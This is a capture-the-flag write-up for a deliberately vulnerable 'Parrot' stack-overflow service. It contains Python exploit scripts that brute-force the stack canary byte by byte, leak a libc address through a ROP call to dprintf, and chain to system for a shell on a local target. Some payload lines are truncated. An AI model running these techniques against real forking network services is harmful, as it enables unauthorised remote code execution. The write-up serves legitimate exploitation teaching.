====== Final CTF: Parrot task writeup ======
void parrot(int sockfd)
{
int count;
char buf[1024];
dprintf(sockfd, "==============================================\n");
dprintf(sockfd, "Welcome to the Unexploitable Parrot service\n");
dprintf(sockfd, "==============================================\n");
dprintf(sockfd, "Stack smashing is futile if you apply protection mechanisms, right? Can you prove me wrong?\n");
dprintf(sockfd, "Here, have a stack buffer overflow. It's on us :)\n");
count = read(sockfd, buf, 1200);
}
We start out by checking the protection mechanisms on the binary:
checksec.sh --file parrot
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH parrot
Ok, so we somehow need to bypass the canary and then ROP our way to a shell (since it has NX).
What's curious about this binary is that it handles connections by itself using a forking mechanism:
newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
if (newsockfd < 0)
{
perror("ERROR on accept");
exit(1);
}
pid = fork();
if (pid < 0)
{
perror("ERROR on fork");
exit(1);
}
if (pid == 0)
{
close(sockfd);
doprocessing(newsockfd);
exit(0);
} else {
waitpid(-1, NULL, WNOHANG);
close(newsockfd);
}
.....
void doprocessing(int sockfd)
{
parrot(sockfd);
dprintf(sockfd, "Goodbye!\n");
}
This is particularly useful in two ways:
* ASLR is effectively disabled: randomization only occurs at the creation of the parent process. forking does not change the memory layout.
* The canary is fixed: it's only set before main is called in the libc boilerplate code. This means that throughout the lifetime of the parent process and its children processes only one canary is used.
===== Step 1: finding the canary =====
Since the canary is 4 bytes long this would imply that we need 2**32 tries to get it right. However, the current setup reduces this number drastically: we can control how much we overflow such that we only overflow into one byte at a time in the canary.
This effectively means that we have 256 possibilities for each byte. We also know that in general stack canaries end with 0x00 so this leaves us with 256 + 256 + 256 tries in total.
We first need to know the offset from the start of our buffer to the stack canary. Since this function uses only one buffer the canary will be exactly after it (offset 1024)
Exploit code as follows:
#!/usr/bin/python
import struct
import socket
import telnetlib
import sys
def try_canary(canary):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 31337))
f = s.makefile('rw', bufsize=0)
readuntil(f, ":)\n")
f.write(1024 * "A" + canary )
rcvd = readuntil(f, "Goodbye")
if len(rcvd) > 3:
print canary.encode('hex')
exit(0)
def readuntil(f, delim='> '):
data = ''
while not data.endswith(delim):
c = f.read(1)
data += c
if c == "":
break
return data
canary = sys.argv[1]
canary = canary.decode('hex')
for i in range(257):
try_canary( canary + chr(i) )
root@dmns:x86_64 [parrot] # python canary_find.py ""
00
root@dmns:x86_64 [parrot] # python canary_find.py "00"
0079
root@dmns:x86_64 [parrot] # python canary_find.py "0079"
0079b4
root@dmns:x86_64 [parrot] # python canary_find.py "0079b4"
0079b43e
===== Step 2: ROPing into system =====
Having the canary we should first test a simple payload such as a printf on a string. However, we need to output it on the socket so we will be using dprintf.
To find out the offset to the return address use gdb to bypass the stack canary check locally and us e a cyclic pattern. The end result is 1040.
We use peda strings to get a string and the address of dprintf:
gdb-peda$ print dprintf
$1 = {} 0x8048570
gdb-peda$ strings
x8049b90: Stack smashing is futile if you apply protection mechanisms, right? Can you prove me wrong?
0x8049bf0: Here, have a stack buffer overflow. It's on us :)
0x8049c23: Goodbye!
0x8049c2d: Usage: %s
0x8049c3f: ERROR opening socket
0x8049c54: 0.0.0.0
0x8049c5c: ERROR on binding
0x8049c6d: ERROR on accept
0x8049c7d: ERROR on fork
We'll use 0x8049c54: 0.0.0.0
#!/usr/bin/python
import struct
import socket
import telnetlib
import sys
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 31337))
f = s.makefile('rw', bufsize=0)
def readuntil(f, delim='> '):
data = ''
while not data.endswith(delim):
c = f.read(1)
data += c
if c == "":
break
return data
readuntil(f, ":)")
canary = "0079b43e"
canary = canary.decode('hex')
dprintf = 0x8048570
string = 0x8049c54
payload = struct.pack("
What we would like to do now is call system("/bin/sh"), however we don't know their address because we don't have the remote libc.so used. There are two methods of obtaining the needed info:
* Assume that all CTF tasks are started on the same VM: exploit an easier task and copy the libc from there
* Leak any function offset from libc and check against the ones in libc-database https://github.com/niklasb/libc-database
To this end, we decide to leak an adress and search it in libc-database. Any function that was previously resolved is OK, one such function is dprintf itself.
gdb-peda$ pdis dprintf
Dump of assembler code for function dprintf@plt:
0x08048570 <+0>: jmp DWORD PTR ds:0x804a01c
dprintf = 0x8048570
dprintf_got = 0x0804a01c
payload = struct.pack("
# python exp.py
dprintf at F75774E0
root@dmns:x86_64 [libc-database] # ./find dprintf 0xf75774e0
/lib32/libc.so.6 (id local-ae7678c438ab8fdcd986dbcc8a5be0695b8131c8)
root@dmns:x86_64 [libc-database] # ./dump local-ae7678c438ab8fdcd986dbcc8a5be0695b8131c8 dprintf
offset_dprintf = 0x0004c4e0
root@dmns:x86_64 [libc-database] # ./dump local-ae7678c438ab8fdcd986dbcc8a5be0695b8131c8
offset___libc_start_main_ret = 0x19943
offset_system = 0x0003dc70
offset_dup2 = 0x000db200
offset_read = 0x000da8c0
offset_write = 0x000da940
offset_str_bin_sh = 0x1594f5
The only thing remaining is a pop-pop-ret gadget to clear the stack in the ropchain. Any libc is full of such gadgets, we select one at random. The final exploit is as follows:
#!/usr/bin/python
import struct
import socket
import telnetlib
import sys
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 31337))
f = s.makefile('rw', bufsize=0)
def readuntil(f, delim='> '):
data = ''
while not data.endswith(delim):
c = f.read(1)
data += c
if c == "":
break
return data
readuntil(f, ":)")
canary = "0079b43e"
canary = canary.decode('hex')
dprintf = 0x8048570
dprintf_got = 0x0804a01c
payload = struct.pack("
root@dmns:x86_64 [parrot] # python exp.py
date
Fri Jul 31 17:33:14 EEST 2015